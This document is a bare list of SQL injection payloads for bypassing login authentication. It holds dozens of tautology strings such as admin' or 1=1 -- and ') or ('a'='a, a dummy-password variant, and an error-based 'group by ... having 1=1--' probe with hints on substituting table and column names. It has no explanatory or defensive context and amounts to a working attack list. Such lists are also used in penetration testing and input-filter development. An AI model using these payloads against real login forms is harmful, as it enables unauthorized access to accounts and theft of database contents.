'or''='
'or'a'='a
admin'--
admin' or 1=1 --
' or 1=1
' or 0=0 --
admin" or "a"=a
admin" or 1=1 --
admin' or 'a'='a
admin') or ('a'='a
or 0=0 --
' or 0=0 #
hi' or 1=1--
hi" or 1=1--
hi" or "a"="a
") or ("a"="a
') or ('a'='a
" or "a"="a
hi") or ("a"="a
hi') or ('a'='a
" or 0=0 #
" or 1=1--
') or ('x'='x
----------------------------^_^--------------------------------------
DummyPAssWord' OR 1=1 --

' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
--------------------------------^_^---------------------------------------
s_table.username
s_table= The Table Name
username= The first column name
---------------------------------------^_^-------------------------------
Login: 'group by s_table.username having 1=1--
Pass: a